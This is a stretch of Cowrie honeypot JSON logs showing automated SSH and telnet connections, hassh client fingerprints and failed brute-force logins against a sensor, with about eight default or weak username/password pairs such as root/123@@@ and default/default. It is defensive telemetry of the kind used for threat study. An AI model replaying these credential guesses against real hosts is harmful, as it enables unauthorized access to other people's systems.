{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:11.988111Z","src_ip":"45.156.87.204","session":"8a9d257fe60e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:12.235258Z","src_ip":"45.156.87.204","session":"8a9d257fe60e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:12.512149Z","src_ip":"94.26.106.229","session":"cc82adc6099d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:13.319857Z","src_ip":"45.156.87.204","session":"8a9d257fe60e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55514,"dst_ip":"10.17.0.5","dst_port":23,"session":"00e8a79197ce","protocol":"telnet","message":"New connection: 152.42.224.71:55514 (10.17.0.5:23) [session: 00e8a79197ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:13.498715Z"}
{"eventid":"cowrie.session.closed","duration":38.06988573074341,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:13.760710Z","src_ip":"152.42.224.71","session":"56294e5f54b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55522,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea713e19983c","protocol":"telnet","message":"New connection: 152.42.224.71:55522 (10.17.0.5:23) [session: ea713e19983c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:14.165508Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39430,"dst_ip":"159.203.135.109","dst_port":22,"session":"d726c63954ee","protocol":"ssh","message":"New connection: 45.156.87.204:39430 (159.203.135.109:22) [session: d726c63954ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:15.501661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:15.506473Z","src_ip":"45.156.87.204","session":"d726c63954ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:15.588758Z","src_ip":"45.156.87.204","session":"d726c63954ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:15.838135Z","src_ip":"45.156.87.204","session":"d726c63954ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.4936580657959,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:16.343899Z","src_ip":"152.42.224.71","session":"72ed5f06aaae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.96723794937134,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:16.449989Z","src_ip":"152.42.224.71","session":"878040c5b9bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:16.924499Z","src_ip":"45.156.87.204","session":"d726c63954ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39442,"dst_ip":"159.203.135.109","dst_port":22,"session":"06bfe03a9730","protocol":"ssh","message":"New connection: 45.156.87.204:39442 (159.203.135.109:22) [session: 06bfe03a9730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:19.040356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:19.044128Z","src_ip":"45.156.87.204","session":"06bfe03a9730","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:19.128617Z","src_ip":"45.156.87.204","session":"06bfe03a9730","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"default","message":"login attempt [default/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:19.375298Z","src_ip":"45.156.87.204","session":"06bfe03a9730","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:20.459980Z","src_ip":"45.156.87.204","session":"06bfe03a9730","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50652,"dst_ip":"10.17.0.5","dst_port":23,"session":"d37323f7f453","protocol":"telnet","message":"New connection: 152.42.224.71:50652 (10.17.0.5:23) [session: d37323f7f453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:22.634174Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48100,"dst_ip":"159.203.135.109","dst_port":22,"session":"d08f37e05994","protocol":"ssh","message":"New connection: 45.156.87.204:48100 (159.203.135.109:22) [session: d08f37e05994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:22.845428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:22.850403Z","src_ip":"45.156.87.204","session":"d08f37e05994","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:22.932732Z","src_ip":"45.156.87.204","session":"d08f37e05994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:23.180102Z","src_ip":"45.156.87.204","session":"d08f37e05994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:24.264934Z","src_ip":"45.156.87.204","session":"d08f37e05994","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57874,"dst_ip":"159.203.135.109","dst_port":22,"session":"2223d8272b59","protocol":"ssh","message":"New connection: 94.26.106.229:57874 (159.203.135.109:22) [session: 2223d8272b59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:25.011471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:25.020602Z","src_ip":"94.26.106.229","session":"2223d8272b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:25.111693Z","src_ip":"94.26.106.229","session":"2223d8272b59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.013317346572876,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:25.185212Z","src_ip":"152.42.224.71","session":"2fff1924dde3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"123456","message":"login attempt [adminuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:25.369375Z","src_ip":"94.26.106.229","session":"2223d8272b59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":50122,"dst_ip":"159.203.135.109","dst_port":22,"session":"c059a2ab8344","protocol":"ssh","message":"New connection: 119.28.114.76:50122 (159.203.135.109:22) [session: c059a2ab8344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.420525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.424885Z","src_ip":"119.28.114.76","session":"c059a2ab8344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":48104,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c570fc04fcf","protocol":"ssh","message":"New connection: 45.156.87.204:48104 (159.203.135.109:22) [session: 4c570fc04fcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.446090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.450635Z","src_ip":"45.156.87.204","session":"4c570fc04fcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.532126Z","src_ip":"45.156.87.204","session":"4c570fc04fcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.571268Z","src_ip":"94.26.106.229","session":"2223d8272b59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.660447Z","src_ip":"119.28.114.76","session":"c059a2ab8344","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:26.779636Z","src_ip":"45.156.87.204","session":"4c570fc04fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty123","message":"login attempt [user/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:27.640604Z","src_ip":"119.28.114.76","session":"c059a2ab8344","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":57880,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fba665265ec","protocol":"ssh","message":"New connection: 94.26.106.229:57880 (159.203.135.109:22) [session: 2fba665265ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:27.653926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:27.658295Z","src_ip":"94.26.106.229","session":"2fba665265ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:27.746419Z","src_ip":"94.26.106.229","session":"2fba665265ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:27.919519Z","src_ip":"45.156.87.204","session":"4c570fc04fcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123","message":"login attempt [alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:28.013339Z","src_ip":"94.26.106.229","session":"2fba665265ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:06:28.879945Z","src_ip":"119.28.114.76","session":"c059a2ab8344","protocol":"ssh"}
